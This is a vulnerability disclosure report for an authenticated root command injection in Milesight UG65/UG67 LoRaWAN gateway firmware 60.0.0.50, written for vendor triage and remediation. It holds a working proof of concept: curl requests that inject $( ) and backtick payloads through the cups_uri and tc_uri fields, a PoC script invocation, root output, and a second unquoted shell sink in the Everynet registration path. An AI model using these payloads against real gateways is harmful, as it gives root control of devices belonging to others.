Authenticated Command Injection in Basic Station URI Synchronization
Tags
authenticated, low_privilege, command_injection, rce, root_rce, tested
Disclosure information
| Field | Value |
|---|---|
| Vendor | Milesight |
| Product | UG65 and UG67 LoRaWAN gateways |
| Tested firmware | 60.0.0.50 |
| Component | lora_gateway_ubus (yruo_loragw ubus object), reached through /cgi |
| Vulnerability class | CWE-78, OS command injection |
| Authentication | Authenticated low-privilege Read-Write user (ysrole: 1); administrator credentials not required |
| Validation status | Dynamically tested; root shell from Read-Write (ysrole: 1), confirmed by the researcher |
| Suggested severity | High; authenticated low-privilege root RCE |
| Discovery date | 2026-10-23 |
Summary
The yruo_loragw ubus object is served by lora_gateway_ubus. Its set method handles the general_conf base, which carries the packet-forwarder server list (servs). When a server entry selects the Semtech Basic Station transport (serv_type basicstation), the handler writes the user-supplied cups_uri/tc_uri fields into /etc/basicstation/cups.uri and /etc/basicstation/tc.uri by inserting them, without escaping, inside the double quotes of a shell command passed to system():
snprintf(buf, 0x80, "echo \"%s\" > /etc/basicstation/cups.uri", cups_uri);
system(buf);
snprintf(buf, 0x80, "echo \"%s\" > /etc/basicstation/tc.uri", tc_uri);
system(buf);
Both URI fields allow shell expansion and quote breakout, with commands running as root. See the sink analysis.
The web UI only applies a client-side "starts with http(s)" check to cups_uri; the backend applies no validation before the shell, and a URI such as https://x$(id) satisfies the client check anyway.
The researcher confirmed root command execution through cups_uri using a lower-privilege Read-Write account (ysrole: 1): the request returned status:0 and the command output was uid=0(root). Administrator credentials are not required for this confirmed path. The validation record also retains the earlier administrator test.
Authentication and validation
| Item | Evidence |
|---|---|
| Entry point | POST /cgi, yruo_loragw.set, base=general_conf |
| Tested accounts | Read-Write (ysrole: 1), confirmed by the researcher; web administrator admin in the earlier proof |
| Injection inputs | cups_uri and tc_uri; root-shell exploitation of this finding is dynamically confirmed from Read-Write (ysrole: 1) |
| Read-Write result | cups_uri: status:0; uid=0(root) |
| Dynamic validation | Researcher-confirmed dynamic testing produced a root shell from the Read-Write role; the supplied result matrix records status:0 and uid=0(root) |
| PoC re-verification | Both --field cups_uri and --field tc_uri reproduced root execution in local emulation on 2026-10-27, as confirmed by the researcher |
| Confirmed exploitation role | Low-privilege Read-Write (ysrole: 1) |
See the shared web session procedure and authorization evidence.
The recorded requests selected serv_type=basicstation in the server list. Both URI fields produced root command output during the set request. A separate apply or restart was not needed.
Threat-model assessment
The administrator used in the earlier proof can also use the documented admin SSH login when SSH is enabled and reachable. Milesight distinguishes its administrator configuration CLI from the root Linux shell; SSH access alone does not establish unrestricted root access. Milesight CLI documentation.
Milesight also documents enabling Node-RED, signing in with the gateway credentials, and executing a script with su - root -c. This provides a supported administrator route to root command execution. Milesight Node-RED example.
The researcher confirms that this finding was dynamically tested and yields a root shell from the low-privilege Read-Write role (ysrole: 1). This supersedes the earlier administrator-only assessment. The administrator's documented SSH and Node-RED access is background context; the demonstrated attack starts with Read-Write credentials and obtains root execution through command injection.
Proof of concept
The researcher confirms dynamic root-shell exploitation from Read-Write (ysrole: 1). The examples and full transcripts below retain the original reproduction artifacts; the validation record above includes the confirmed low-privilege result.
The following was executed against firmware 60.0.0.50 in the isolated test environment. <gateway> is the management interface (HTTPS by default). poc_basicstation_uri_rce.py automates login and injection; the injected configuration is deliberately left in place as evidence for triage. Run it from the workspace root, selecting either URI field:
.venv/bin/python poc_basicstation_uri_rce.py --host 127.0.0.1 --port 18443 --field cups_uri --command 'id > /tmp/duckie; echo duckie >> /tmp/duckie'
Verify and remove /tmp/duckie in the guest before testing the second field:
.venv/bin/python poc_basicstation_uri_rce.py --host 127.0.0.1 --port 18443 \
--field tc_uri \
--command 'id > /tmp/duckie; echo duckie >> /tmp/duckie'
.venv/bin/python provision_rw_user.py --host 127.0.0.1 --port 18443
Verify and remove the second marker after that run. The script restores a fixed clean lab configuration; it does not snapshot and restore arbitrary pre-existing server settings.
Step 1 - Obtain a session
Follow the shared web login procedure using the assigned Read-Write account credentials, verify that the login result identifies ysrole: 1, and save that session as cookies.txt when reproducing the confirmed cups_uri path. The shared admin example and the full transcripts below describe the earlier administrator reproduction.
Step 2 - Inject through the Basic Station URI handler
Set cups_uri to a value containing $( ) command substitution. The trailing # is cosmetic; everything inside the quotes is one shell word:
curl -sk -b cookies.txt -X POST https://<gateway>/cgi \
-H 'Content-Type: application/json' \
-d '{"id":3,"execute":1,"core":"yruo_loragw","function":"set","values":[{"base":"general_conf","index":0,"value":{"gateway_id":"525400FFFE123456","special_filter":false,"data_retransmission":false,"servs":[{"id":0,"serv_enabled":true,"serv_type":"basicstation","serv_addr":"localhost","serv_port_up":1700,"serv_port_down":1700,"serv_mqtt_port":1883,"sync_freq_plan":false,"cups_uri":"https://x$(id>/tmp/duckie;echo duckie>>/tmp/duckie)#","tc_uri":"wss://x"}]}}]}'
{"id":3,"model":"...","rtver":"60.0.0.50","status":0,"result":[{}]}
Step 2b - Inject through tc_uri using backticks
curl -sk -b cookies.txt -X POST https://<gateway>/cgi \
-H 'Content-Type: application/json' \
-d '{"id":5,"execute":1,"core":"yruo_loragw","function":"set","values":[{"base":"general_conf","index":0,"value":{"gateway_id":"525400FFFE123456","special_filter":false,"data_retransmission":false,"servs":[{"id":0,"serv_enabled":true,"serv_type":"basicstation","serv_addr":"localhost","serv_port_up":1700,"serv_port_down":1700,"serv_mqtt_port":1883,"sync_freq_plan":false,"cups_uri":"https://clean.example.com","tc_uri":"wss://x`id>/tmp/duckie;echo duckie>>/tmp/duckie`"}]}}]}'
Step 3 - Verify command execution as root
# cat /tmp/duckie
uid=0(root) gid=0(root)
duckie
# cat /tmp/duckie
uid=0(root) gid=0(root)
duckie
# ps | grep lora_gateway
782 root 85708 S /usr/sbin/lora_gateway_ubus
# cat /etc/basicstation/cups.uri # the substituted URI that was written
https://x#
The substitution output was redirected to the proof files, so the written URI contains an empty substitution result. This confirms that the command executed during echo; writing a malformed URI file alone would not establish command execution.
Affected assets
- Vulnerable component:
/usr/sbin/lora_gateway_ubus
- Files written by the vulnerable commands:
/etc/basicstation/cups.uri
/etc/basicstation/tc.uri
- Service path used in the local test:
TCP 443/80 -> nginx
-> uhttpd (ubus plugin: -u /cgi)
-> POST /cgi
-> uhttpd_ubus.so dispatcher (session check)
-> ubus: yruo_loragw.set base=general_conf (served by lora_gateway_ubus, root)
-> snprintf("echo \"%s\" > /etc/basicstation/cups.uri", cups_uri)
-> system(...)
Technical details
Request routing
general_conf contains the packet-forwarder general configuration. The request schema below matches the shipped web client, www/view/packetforward/general.js:
{
"id": 3,
"execute": 1,
"core": "yruo_loragw",
"function": "set",
"values": [
{
"base": "general_conf",
"index": 0,
"value": {
"gateway_id": "525400FFFE123456",
"servs": [
{
"id": 0,
"serv_enabled": true,
"serv_type": "basicstation",
"cups_uri": "<attacker-controlled>",
"tc_uri": "<attacker-controlled>"
}
]
}
}
]
}
The blobmsg policy names (servs @0x290c8, serv_type @0x290f0, cups_uri @0x29218, tc_uri @0x29228) are parsed from the request. When serv_type selects Basic Station, the same set request runs the URI installer inside lora_gateway_ubus (handler function fcn.0001ba64): it first removes previous URI files with constant commands (rm -f /etc/basicstation/cups-bak* /etc/basicstation/cups.uri @0x2c760, rm -f /etc/basicstation/tc-bak* /etc/basicstation/tc.uri @0x2c818) and then writes the new URIs with the interpolated values.
Sinks (unescaped interpolation into a shell)
- CUPS URI installer (
system()):
snprintf(buf, 0x80, "echo \"%s\" > /etc/basicstation/cups.uri", cups_uri);
system(buf); /* lora_gateway_ubus: snprintf @0x1e680 (call @0x1e68c),
system @0x1e694 (call @0x1e69c),
format string @0x2c7c8 */
- LNS (tc) URI installer (
system()):
snprintf(buf, 0x80, "echo \"%s\" > /etc/basicstation/tc.uri", tc_uri);
system(buf); /* snprintf @0x1e3dc (format loaded @0x1e3f8),
format string @0x2c858 */
- Host-only variants of the same installers, for the "auto URI" UI form, are affected in the same way:
0x2c890: echo "https://%s:443" > /etc/basicstation/cups.uri
0x2c8e0: echo "wss://%s:8887" > /etc/basicstation/tc.uri
In all four cases the %s value is placed inside a double-quoted shell string. Double quotes allow shell expansion of $, $( ), and `, so a URI such as https://x$(cmd) or wss://x`cmd` executes cmd with the privileges of lora_gateway_ubus (root). A " in the value additionally escapes the quoting context entirely. No character filtering, escaping, or structured write (e.g. fopen/fprintf) is used on this path.
Client-side validation only
www/view/packetforward/general.js (row cups_uri, ~line 3018) enforces only value.startsWith('http') in the browser before saving, and the Everynet username field is only client-side email-validated. Neither check exists in the backend, and both are bypassable by issuing the /cgi request directly.
Related code observation: Everynet registration
lora_gateway_ubus also builds the Everynet registration command with six unquoted parameters (function fcn.000055c8):
snprintf(buf, 0x100, "/usr/sbin/everynet_regv3.sh %s %s %s %s %s %s",
login, password, region, band, region_changed, band_changed);
system(buf); /* snprintf @0x5728 (format @0x27e80), system @0x5730 */
/usr/sbin/everynet_regv3.sh consumes $1=LOGIN (the Everynet account email) and $2=PASSWORD, both entered in the same packet-forwarder UI and stored in the servs entry. Because the command-line arguments are unquoted, ;, &&, backticks, and $( ) in either field inject directly. This related code observation shares the remediation below; the registration flow also depends on the Everynet cloud service. The confirmed Basic Station finding is documented in the validation record above.
Security impact
The researcher-confirmed request using Read-Write (ysrole: 1) converted lower-privilege web configuration access into command execution as root through cups_uri, with status:0 and uid=0(root). See the shared impact and limits.
Attack prerequisites
- Reach the gateway's HTTP or HTTPS management interface.
- Obtain a valid Read-Write web session (
ysrole: 1), confirmed sufficient forcups_uri. Administrator access is not required. - Submit a server entry selecting
serv_type=basicstationso the URI writer runs. The recorded request supplied this selection.
The sink ran during the set request. No separate apply or restart was needed in the test environment.
Recommended remediation
- Write
/etc/basicstation/cups.uriand/etc/basicstation/tc.uridirectly with file APIs, including thehttps://%s:443andwss://%s:8887variants. - Validate
cups_uriandtc_uriagainst a strict URI grammar (scheme://host[:port][/path]) and reject shell metacharacters. - Apply the shared shell-removal, authorization, and audit controls, including the related
everynet_regv3.shinvocation.